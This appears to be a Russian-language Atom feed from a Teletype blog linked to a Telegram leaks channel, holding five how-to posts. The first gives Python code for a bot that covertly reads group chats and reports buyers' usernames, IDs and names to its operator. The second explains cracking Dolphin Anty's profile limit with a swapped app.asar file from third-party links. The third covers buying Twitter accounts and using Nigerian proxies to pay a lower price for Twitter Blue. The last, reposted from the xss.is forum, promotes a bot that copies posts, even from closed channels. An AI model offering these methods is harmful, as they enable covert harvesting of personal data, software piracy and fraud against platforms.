<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>https://t.me/slivmens</title><author><name>https://t.me/slivmens</name></author><id>https://teletype.in/atom/slivmens</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/slivmens?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@slivmens?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=slivmens"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/slivmens?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-04-19T16:54:33.607Z</updated><entry><id>slivmens:2IyUY85P0Oj</id><link rel="alternate" type="text/html" href="https://teletype.in/@slivmens/2IyUY85P0Oj?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=slivmens"></link><title>Создаем бота-подслушку на Python</title><published>2024-04-24T21:31:24.882Z</published><updated>2024-04-24T21:31:24.882Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/21/28/21287a50-f9e4-4f71-8501-acc27733fed3.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/a5/4a/a54a34aa-4683-4229-bd5d-2e270706562b.png&quot;&gt;Для начала установим aiogram и создадим бота. Открываем консоль ( win+r ) и вводим:</summary><content type="html">
  &lt;p id=&quot;txLI&quot;&gt;Для начала установим aiogram и создадим бота. Открываем консоль ( win+r ) и вводим:&lt;/p&gt;
  &lt;ul id=&quot;EDEV&quot;&gt;
    &lt;li id=&quot;xBFE&quot;&gt;pip install aiogram&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;6Z6J&quot;&gt;Далее переходим в &lt;a href=&quot;https://t.me/BotFather&quot; target=&quot;_blank&quot;&gt;BotFather&lt;/a&gt; и создаем бота. Переходим в настройки нашего бота и выключаем &amp;#x27;Privacy mode&amp;#x27;. Это делается для того, чтобы бот имел возможность читать сообщения в чатах, куда он был добавлен&lt;/p&gt;
  &lt;p id=&quot;Jmo2&quot;&gt;2) Создаем папку и в ней 3 файла:&lt;/p&gt;
  &lt;ul id=&quot;k49k&quot;&gt;
    &lt;li id=&quot;BQvG&quot;&gt;config.py&lt;/li&gt;
    &lt;li id=&quot;ckbM&quot;&gt;main.py&lt;/li&gt;
    &lt;li id=&quot;QLir&quot;&gt;user_handler.py&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;OOY7&quot;&gt;Давайте теперь создадим конфиг для нашего проекта, где будет храниться приватная информация.​ Открываем файл config.py и прописываем в нем следующий код:&lt;/p&gt;
  &lt;pre id=&quot;M79b&quot;&gt;class Settings(object):

    &amp;quot;&amp;quot;&amp;quot;
    Класс настроек
    &amp;quot;&amp;quot;&amp;quot;
    
    # Все вариации сообщения которые обрабатываются
    all_variants = [&amp;#x27;Куплю аккаунт&amp;#x27;, &amp;#x27;куплю аккаунт&amp;#x27;, &amp;#x27;куплю акаунт&amp;#x27;, &amp;#x27;куплю аккаунт&amp;#x27;, &amp;#x27;купи аккаут&amp;#x27;, &amp;#x27;Куплю ак&amp;#x27;,
          &amp;#x27;Куплю аккаунт&amp;#x27;, &amp;#x27;Куплю аккоунт&amp;#x27;, &amp;#x27;Купить аккаунт&amp;#x27;, &amp;#x27;Купи аккаунт&amp;#x27;, &amp;#x27;Купи аккаунт дёшево&amp;#x27;, &amp;#x27;КУПЛЮ АККАУНТ&amp;#x27;,
          &amp;#x27;куплю акаунт&amp;#x27;, &amp;#x27;купит аккаут&amp;#x27;, &amp;#x27;Куплю аккаунт в топе&amp;#x27;, &amp;#x27;покуплю акаунт&amp;#x27;, &amp;#x27;аккаунт куплю&amp;#x27;, &amp;#x27;куплю аккаунт в игре&amp;#x27;,
          &amp;#x27;куплю аккаунт дорого&amp;#x27;, &amp;#x27;куплю аккаунт &amp;#x27;, &amp;#x27;Куплю аккаунт&amp;#x27;, &amp;#x27;КуПлю акк&amp;#x27;]
    
    # Токен бота
    token = &amp;#x27; ТУТ ВПИШИТЕ ТОКЕН БОТА &amp;#x27;

    # Чат , куда приходят уведомления
    chat_id = &amp;#x27; ТУТ ПИШЕМ АЙДИ ЧАТА &amp;#x27;
&lt;/pre&gt;
  &lt;p id=&quot;U0kF&quot;&gt;Отлично. Мы создали конфиг нашего будущего бота.&lt;/p&gt;
  &lt;p id=&quot;kIwa&quot;&gt;Теперь мы оформим файл запуска. Бот ведь должен как-то запускаться. Открываем файл main.py.&lt;/p&gt;
  &lt;p id=&quot;Sesw&quot;&gt;Для начала импортируем все что нам потребуется :​&lt;/p&gt;
  &lt;pre id=&quot;8IVy&quot;&gt;import asyncio
import logging

from aiogram import Bot, Dispatcher
from aiogram.fsm.storage.memory import MemoryStorage
from aiogram.enums.parse_mode import ParseMode

from user_handler import router

from config import Settings
&lt;/pre&gt;
  &lt;p id=&quot;pe1W&quot;&gt;Отлично. Теперь создадим функцию для запуск&lt;strong&gt;а.&lt;/strong&gt;​&lt;/p&gt;
  &lt;pre id=&quot;OjSf&quot;&gt;async def start():

    &amp;quot;&amp;quot;&amp;quot;
    Функция запуски бота
    &amp;quot;&amp;quot;&amp;quot;

    bot = Bot(token=Settings.token, parse_mode=ParseMode.HTML) # Создаем экземпляр бота
    dp = Dispatcher(storage=MemoryStorage()) # Создаем диспетчер и указываем хранилище

    dp.include_router(router) # Подключаем роутер , рассмотрим его позже

    me = await bot.get_me()
    print(&amp;#x27;Started&amp;#x27;)
    print(me.username)
    logging.basicConfig(level=logging.INFO) # Подключаем логирование

    try:
        await bot.delete_webhook(drop_pending_updates=True) # Удаляем вебхуки
        await dp.start_polling(bot) # Бот работает в режиме Long Polling

    except Exception as e:
        print(e)
&lt;/pre&gt;
  &lt;p id=&quot;1mTv&quot;&gt;Давайте теперь пропишем код для запуска нашей функции​.&lt;/p&gt;
  &lt;pre id=&quot;s4eV&quot;&gt;# запускаем бота
if __name__ == &amp;quot;__main__&amp;quot;:
    try:
        asyncio.run(start())
    except (KeyboardInterrupt, SystemExit):
        print(&amp;#x27;Bot stopped&amp;#x27;)
&lt;/pre&gt;
  &lt;p id=&quot;sKXd&quot;&gt;Мы добрались до финальной части разработки. Открываем файл user_handler.py и импортируем все что потребуется.&lt;/p&gt;
  &lt;pre id=&quot;KizF&quot;&gt;from aiogram import Router, Bot
from aiogram.filters import BaseFilter
from aiogram import types
from config import Settings
&lt;/pre&gt;
  &lt;p id=&quot;cxK1&quot;&gt;Создаем фильтр, чтобы отлавливать сообщения только из чатов.&lt;/p&gt;
  &lt;pre id=&quot;020r&quot;&gt;class IsGroup(BaseFilter):
    async def __call__(self, message: types.Message) -&amp;gt; bool:
        return message.chat.type == &amp;#x27;group&amp;#x27;
&lt;/pre&gt;
  &lt;p id=&quot;gxG1&quot;&gt;Создаем роутер, именно он позволяет нам удобно разделять код хэндлеров в различных файлов и соединять в основном.&lt;/p&gt;
  &lt;pre id=&quot;Dej4&quot;&gt;router = Router()
&lt;/pre&gt;
  &lt;p id=&quot;4ap4&quot;&gt;Теперь напишем сам обработчик на сообщения.&lt;/p&gt;
  &lt;pre id=&quot;y8a3&quot;&gt;@router.message(IsGroup())
async def get_messages(message: types.Message, bot : Bot):

    &amp;quot;&amp;quot;&amp;quot;
    filter: Проверка на группу
    :params Messsage, Bot:

    Если сообщение содержит в себе нужный текст, отправляем увед. в наш чат
    &amp;quot;&amp;quot;&amp;quot;

    if message.text in Settings.all_variants:
        await bot.send_message(chat_id=Settings.chat_id, text=
                               f&amp;#x27;&amp;lt;b&amp;gt; Человек хочет купить аккаунт&amp;lt;/b&amp;gt;\n&amp;#x27;
                               f&amp;#x27;&amp;lt;b&amp;gt;Юзернейм:&amp;lt;/b&amp;gt; @{message.from_user.username}\n&amp;#x27;
                               f&amp;#x27;&amp;lt;b&amp;gt;Айди:&amp;lt;/b&amp;gt; {message.from_user.id}\n&amp;#x27;
                               f&amp;#x27;&amp;lt;b&amp;gt;Полное имя:&amp;lt;/b&amp;gt; {message.from_user.full_name}&amp;#x27;)
&lt;/pre&gt;
  &lt;p id=&quot;lBQq&quot;&gt;Вот мы и закончили разработку! Осталось запустить и потестить. Вводим в консоли:&lt;/p&gt;
  &lt;ul id=&quot;bzd7&quot;&gt;
    &lt;li id=&quot;j5VZ&quot;&gt;python main.py&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;4F6b&quot;&gt;Таким образом мы запустили нашего бота, не забудьте заполнить конфиг своими данными. Создаем чат и добавляем туда бота:&lt;/p&gt;
  &lt;figure id=&quot;LP1P&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a5/4a/a54a34aa-4683-4229-bd5d-2e270706562b.png&quot; width=&quot;304&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;66Io&quot;&gt;Вводим сообщение в чате:&lt;/p&gt;
  &lt;figure id=&quot;Pvzk&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c1/75/c175b599-8a36-474d-9a43-09b42c0ab30d.png&quot; width=&quot;226&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ct67&quot;&gt;Бот присылает уведомление в наш чат:&lt;/p&gt;
  &lt;figure id=&quot;iUIi&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4e/97/4e977eb2-3940-4dbd-909a-d7f1ae87277f.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;IcVD&quot;&gt;Таким образом, вы можете менять тексты на свои и подслушивать сообщения любого вида. Все зависит от ваших требований.&lt;/p&gt;

</content></entry><entry><id>slivmens:ne1PPp-AP5a</id><link rel="alternate" type="text/html" href="https://teletype.in/@slivmens/ne1PPp-AP5a?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=slivmens"></link><title>Dolphin Anty 1000+ профилей бесплатно</title><published>2024-04-01T19:50:06.659Z</published><updated>2024-04-01T19:50:06.659Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/41/ff/41ff532a-f8ec-46f1-acbc-1f4ac7f5012f.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/23/7b/237b0c7e-bad0-447c-8e7e-050735b83f0d.png&quot;&gt;Установка:</summary><content type="html">
  &lt;figure id=&quot;6JEV&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/23/7b/237b0c7e-bad0-447c-8e7e-050735b83f0d.png&quot; width=&quot;1580&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DG78&quot;&gt;&lt;strong&gt;Установка:&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;GjLh&quot;&gt;Для начала устанавливаем python - &lt;a href=&quot;https://www.python.org/downloads/&quot; target=&quot;_blank&quot;&gt;https://www.python.org/downloads/&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;XSnO&quot;&gt;В установщике обьязательно ставим галочку на ADD PATH.&lt;/p&gt;
  &lt;figure id=&quot;2BiN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0d/fc/0dfcfa5a-4e9d-40ca-8995-f6ba564b2b1c.png&quot; width=&quot;743&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wvPs&quot;&gt;Скачиваем скрипт - &lt;a href=&quot;https://github.com/IsNaRm/dolphin-free-botsforge&quot; target=&quot;_blank&quot;&gt;https://github.com/IsNaRm/dolphin-free-botsforge&lt;/a&gt;.&lt;/p&gt;
  &lt;figure id=&quot;YG7g&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d4/42/d442572f-6ba2-4874-93ba-b4e2d91cfe1c.png&quot; width=&quot;1886&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;LBhS&quot;&gt;Распаковываем заходим в консоль прописываем путь папки и вводим - pip install -r requirements.txt.&lt;/p&gt;
  &lt;figure id=&quot;JuTN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1b/d9/1bd94917-fca7-43ba-9656-e243a31681ab.png&quot; width=&quot;803&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;jaWD&quot;&gt;Заходим в папку browsers и копируем файл - app.asar.&lt;/p&gt;
  &lt;figure id=&quot;bxH5&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/40/87/40878869-1a32-487c-8cd4-fe5a2136b132.png&quot; width=&quot;713&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yUSx&quot;&gt;Нажимаем пкм по Dolphin Anty - расположение файла - папка resources и вставляем скопированный файл с заменой.&lt;/p&gt;
  &lt;figure id=&quot;KRo6&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/70/e6/70e6f5b1-aa16-48ce-9eec-b998fb9d9ce4.png&quot; width=&quot;734&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;TwJq&quot;&gt;Возвращаемся в папку с софтом и запускаем - start.bat. Если у вас появилось это значит софт запустился и работает.&lt;/p&gt;
  &lt;figure id=&quot;IfAL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4a/2f/4a2f0777-8fe2-4280-8a68-3f6e131113ca.png&quot; width=&quot;1073&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;q5dJ&quot;&gt;Если у вас закрывается консоль значит не установились библиотеки.&lt;/p&gt;
  &lt;p id=&quot;zelf&quot;&gt;Запускаем Dolphin Anty и видим снизу такую надпись значит все установилось и работает.&lt;/p&gt;
  &lt;figure id=&quot;IOeO&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6c/ce/6cce0870-1b7a-402a-bd24-d7f2eb100e60.png&quot; width=&quot;770&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;H3Yv&quot;&gt;&lt;strong&gt;ВАЖНО&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;Rtzl&quot;&gt;Создаем 10 профилей, закрываем консоль заходим в Dolphin и удаляем все профили ( они останутся в софте ), запускаем start.bat заходим обратно в Dolphin и создаем еще 10 профилей и повторяем столько сколько вам нужно.&lt;/p&gt;
  &lt;p id=&quot;dCBZ&quot;&gt;&lt;strong&gt;Возможные проблемы&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;Gw2F&quot;&gt;Если у вас кнопка START будет серая:&lt;/p&gt;
  &lt;p id=&quot;iQVS&quot;&gt;Нужно переместить и разархивировать &lt;a href=&quot;https://drive.google.com/file/d/1doD04NGkQrTPPl2lCcSVNddRzEWXfkKZ/view&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;файл&lt;/u&gt;&lt;/a&gt;по пути C:\Users{имя пользователя}\AppData\Roaming\dolphin_anty\browser.&lt;/p&gt;

</content></entry><entry><id>slivmens:BORPaQVnANa</id><link rel="alternate" type="text/html" href="https://teletype.in/@slivmens/BORPaQVnANa?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=slivmens"></link><title>Покупаем галочку Twitter blue за 2.2$</title><published>2024-03-20T20:36:26.762Z</published><updated>2024-03-20T20:36:26.762Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/a7/22/a7229c52-a54f-4ece-b01b-e0b624134b62.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/ba/76/ba76a0b4-3083-4209-bd60-8ecd2c55bae9.png&quot;&gt;1. Заходим в любой шоп аккаунтов твиттера например дарк стор / фан пей:</summary><content type="html">
  &lt;p id=&quot;TpJX&quot;&gt;1. Заходим в любой шоп аккаунтов твиттера например дарк стор / фан пей:&lt;/p&gt;
  &lt;figure id=&quot;jEYL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/ba/76/ba76a0b4-3083-4209-bd60-8ecd2c55bae9.png&quot; width=&quot;1144&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;pG1q&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/be/2b/be2b8adc-2487-4e3d-9ade-4b3872509782.png&quot; width=&quot;1339&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yiUj&quot;&gt;Тут как говорится на вкус и цвет можно взять новорег, можно старорег. Но аккаунты советую покупать 2008-2013 года.&lt;/p&gt;
  &lt;p id=&quot;USq1&quot;&gt;2. Заходим в аккаунт - меняем регион на Нигерия&lt;/p&gt;
  &lt;figure id=&quot;F3Nq&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/96/d0/96d04d06-e7a9-4349-92ba-85d91c88395a.png&quot; width=&quot;178.5&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;LhJE&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7d/b4/7db4f59c-8d6f-4aa7-9f09-854e59e86b6f.png&quot; width=&quot;831&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zmhP&quot;&gt;Нажмите &amp;quot;Страна&amp;quot; и выберите нигерия. Нажмите &amp;quot;Согласиться&amp;quot; и &amp;quot;Продолжить&amp;quot;.​&lt;/p&gt;
  &lt;p id=&quot;osPX&quot;&gt;3. Оставляем аккаунт на 24 часа без действий и потом заходим с прокси Нигерии (прокси можно взять любые по запросу &amp;quot;прокси нигерии&amp;quot; в браузере), ставим на аккаунт твиттера дату рождения.&lt;/p&gt;
  &lt;p id=&quot;eppA&quot;&gt;Ставим оплату галочки - указываем нашу карту с которой будет списываться оплата за подписку (с балансом).&lt;/p&gt;
  &lt;p id=&quot;mmUM&quot;&gt;Списывается по валюте Нигерии 2.2$ (подписку выдают в течение 3-6 часов, если сделали неправильно то в пределах 5 дней).&lt;/p&gt;
  &lt;figure id=&quot;eWBi&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cb/35/cb35cca1-1b52-4975-972e-45f08194fff1.png&quot; width=&quot;258&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;GkAc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/47/d7/47d7b8b6-b7db-4c31-b3fe-95aa3a1c94b2.png&quot; width=&quot;371&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;kCeq&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8d/83/8d83e2b7-1a58-4bdf-a835-8daeb519cfc7.png&quot; width=&quot;344&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;XYpC&quot;&gt;Карту можно выпустить на сайте &lt;a href=&quot;https://zelenka.guru/proxy.php?link=https%3A%2F%2Fepn.net%2F&amp;hash=06afa5338bfe07af92822ff78f4439e6&quot; target=&quot;_blank&quot;&gt;https://epn.net/&lt;/a&gt; (например), гео карты не влияет особо, карту можете взять в любом месте.&lt;/p&gt;
  &lt;p id=&quot;VlRS&quot;&gt;4. Убираем прокси / заходим в регион ставим нужный нам.&lt;/p&gt;

</content></entry><entry><id>slivmens:mLxki15IPgE</id><link rel="alternate" type="text/html" href="https://teletype.in/@slivmens/mLxki15IPgE?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=slivmens"></link><title>Создаём своего Telegram/Discord бота с GPT-4 бесплатно</title><published>2024-03-19T14:51:19.870Z</published><updated>2024-03-19T14:51:19.870Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/2b/18/2b18cfe8-a133-4801-88aa-d9739a414866.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/e9/38/e938dfba-6daa-44bf-8300-67751c37bc95.png&quot;&gt;Для начала заходим на https://www.coze.com/sign и создаём там аккаунт через Google, в России доступно без ВПН.</summary><content type="html">
  &lt;p id=&quot;3PGY&quot;&gt;Для начала заходим на &lt;a href=&quot;https://zelenka.guru/proxy.php?link=https%3A%2F%2Fwww.coze.com%2Fsign&amp;hash=175624c99c9b7bb075a76b9404e01839&quot; target=&quot;_blank&quot;&gt;https://www.coze.com/sign&lt;/a&gt; и создаём там аккаунт через Google, в России доступно без ВПН.&lt;/p&gt;
  &lt;p id=&quot;zC8a&quot;&gt;Устанавливаем юзернейм:&lt;/p&gt;
  &lt;figure id=&quot;vRcW&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e9/38/e938dfba-6daa-44bf-8300-67751c37bc95.png&quot; width=&quot;582&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ebLF&quot;&gt;Нажимаем Create bot:&lt;/p&gt;
  &lt;p id=&quot;7T3e&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;c0Ad&quot;&gt;Добавляем боту имя и описание, загружаем аватарку&lt;/p&gt;
  &lt;figure id=&quot;RjqU&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/82/49/82490bd9-a7e2-4a5f-add3-edffd0889ef5.png&quot; width=&quot;577&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;csjN&quot;&gt;Далее мы попадаем в окно настройки бота:&lt;/p&gt;
  &lt;figure id=&quot;sptp&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7b/69/7b691e73-1422-408a-9a34-6fa175e0b25f.png&quot; width=&quot;1871&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yMWA&quot;&gt;По умолчанию у бота уже выбран GPT-4, но для больших возможностей (поиск в интернете, генерация изображений и т.д.) лучше добавить плагины:&lt;/p&gt;
  &lt;figure id=&quot;ZhkS&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/67/dd/67dd8145-b70f-4bfd-977a-b150cb54eeda.png&quot; width=&quot;641&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;82UP&quot;&gt;&lt;strong&gt;Для своего бота я добавил:&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;LoCL&quot;&gt;1. Google Web Search&lt;/p&gt;
  &lt;p id=&quot;0h2X&quot;&gt;2. Google Images Search&lt;/p&gt;
  &lt;p id=&quot;fble&quot;&gt;3. GitHub&lt;/p&gt;
  &lt;p id=&quot;u2Ol&quot;&gt;4. X&lt;/p&gt;
  &lt;p id=&quot;qy6O&quot;&gt;5. DALLE 3 - для генерации изображений&lt;/p&gt;
  &lt;p id=&quot;4ofD&quot;&gt;6. YouTube&lt;/p&gt;
  &lt;p id=&quot;RAwp&quot;&gt;7. Wikipedia&lt;/p&gt;
  &lt;p id=&quot;4MVC&quot;&gt;8. WebPilot - бот сможет получать информацию с сайтов по ссылке&lt;/p&gt;
  &lt;p id=&quot;Ns41&quot;&gt;Слева по желанию можно добавить кастомный промпт боту, рассказать ему, от чьего имени он будет отвечать:&lt;/p&gt;
  &lt;figure id=&quot;Rgs5&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/81/24/8124189b-4fd1-4e53-b02e-de33405251a1.png&quot; width=&quot;606&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;a18A&quot;&gt;Также можно добавить Knowledge - заранее подготовленные ответы на вопросы пользователей, рассказать ему о чём-то малоизвестном. Базу данных знаний можно добавить в виде Word-документа, ссылки на сайт:&lt;/p&gt;
  &lt;figure id=&quot;bHdJ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5d/07/5d07af96-d3be-4a06-b844-877d180ff087.png&quot; width=&quot;596&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;RtMq&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/10/9c/109cad92-236f-49cb-8988-e19037be9df2.png&quot; width=&quot;817&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WfLt&quot;&gt;Тут всё целиком на ваших фантазиях. Перейдём наконец к созданию Telegram и Discord ботов. Для этого справа вверху тыкаем Publish:&lt;/p&gt;
  &lt;figure id=&quot;3HgF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/87/71/8771eaa6-9252-4494-8d21-a6ccecc760da.png&quot; width=&quot;236&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;X6XI&quot;&gt;У нужных нам платформ выбираем Configure:&lt;/p&gt;
  &lt;figure id=&quot;ecU1&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fc/2c/fc2c424f-08b1-4f16-9eb7-5f1c7ea7070d.png&quot; width=&quot;664&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;xMi4&quot;&gt;Для Telegram и Discord нужно ввести только токен. Если у вас ошибка &amp;quot;Please check whether the discord bot intents is correct&amp;quot; при вводе Discord токена, значит вы не включили эти настройки на странице настроек Discord бота:&lt;/p&gt;
  &lt;figure id=&quot;1ucJ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/94/cc/94cc1fbd-9278-451d-a175-a877fb56adec.png&quot; width=&quot;1420&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;biMl&quot;&gt;Ставим галочки у Telegram, Discord, остальные убираем:&lt;/p&gt;
  &lt;figure id=&quot;V6Zj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/39/e2/39e22cb2-0e0c-46e4-92d2-4d366a60366d.png&quot; width=&quot;421&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;PxbZ&quot;&gt;И, наконец, тыкаем справа сверху Publish!&lt;/p&gt;
  &lt;figure id=&quot;MXKv&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d7/e8/d7e8e49a-d163-4fe7-9a16-1577998cfd18.png&quot; width=&quot;847&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;U1sD&quot;&gt;Здесь мы можем открыть бота на этих платформах!&lt;/p&gt;
  &lt;p id=&quot;vJEA&quot;&gt;Можно также использовать своего GPT-4 онлайн, на странице настроек в разделе Preview, для этого не обязательно добавлять Telegram и Discord:&lt;/p&gt;
  &lt;figure id=&quot;OqcF&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/30/71/3071be8c-716d-4377-9db1-e36041518050.png&quot; width=&quot;490&quot; /&gt;
  &lt;/figure&gt;

</content></entry><entry><id>slivmens:9s5yo1kknPU</id><link rel="alternate" type="text/html" href="https://teletype.in/@slivmens/9s5yo1kknPU?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=slivmens"></link><title>Telegram Pro Poster - Глубокая автоматизация Telegram постов.</title><published>2024-03-09T08:23:23.846Z</published><updated>2024-03-09T08:23:23.846Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/0a/ba/0aba346b-49a6-489f-88f7-624a9c642dcd.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/32/8f/328f55eb-f1a6-4974-a8bd-f2c4dc834e96.png&quot;&gt;Источник: https://xss.is/threads/110019/
Автор: https://xss.is/members/285214/ (Pepe)</summary><content type="html">
  &lt;p id=&quot;tn9W&quot;&gt;&lt;strong&gt;Источник: https://xss.is/threads/110019/&lt;br /&gt;Автор: https://xss.is/members/285214/ (Pepe)&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;2CtA&quot;&gt;&lt;a href=&quot;https://t.me/slivmens&quot; target=&quot;_blank&quot;&gt;https://t.me/slivmens&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;mlVR&quot;&gt;&lt;br /&gt;Представляю вам бота который в автономном режиме может управлять множеством каналов в Telegram.&lt;/p&gt;
  &lt;p id=&quot;EvDx&quot;&gt;Бот имеет широкий спектр настроек:&lt;br /&gt;- Авто копирования постов с донорских каналов&lt;br /&gt;- Фильтр сигнатур канала&lt;br /&gt;- Фильтр дубликатов&lt;br /&gt;- Фильтр рекламных постов&lt;br /&gt;- Фильтр фото&lt;br /&gt;- Фильтр видео&lt;br /&gt;- Фильтр альбомов&lt;br /&gt;- Фильтр текста&lt;br /&gt;- Фильтр ссылок/гиперссылок&lt;br /&gt;- Уникализация скопированных постов с помощью ChatGPT&lt;br /&gt;- Перевод скопированного поста на 8 языков&lt;/p&gt;
  &lt;p id=&quot;BNBp&quot;&gt;Вы можете управлять неограниченным количество каналов и подключать к каждому каналу неограниченное кол-во доноров как источник потока информации.&lt;/p&gt;
  &lt;p id=&quot;pq6Z&quot;&gt;Бот использует клиент и апи телеграм, что означает, что копировать посты можно даже с закрытых каналов.&lt;/p&gt;
  &lt;p id=&quot;07R7&quot;&gt;Так же есть блок-лист слов, который можно пополнять с помощью команд в боте.&lt;/p&gt;
  &lt;p id=&quot;OJp5&quot;&gt;Можно добавить свою сигнатуру под каждый пост.&lt;/p&gt;
  &lt;p id=&quot;nf7b&quot;&gt;Проект написан полностью на Python.&lt;br /&gt;Быстрый запуск с config.py&lt;br /&gt;Управление полностью в Telegram.&lt;/p&gt;
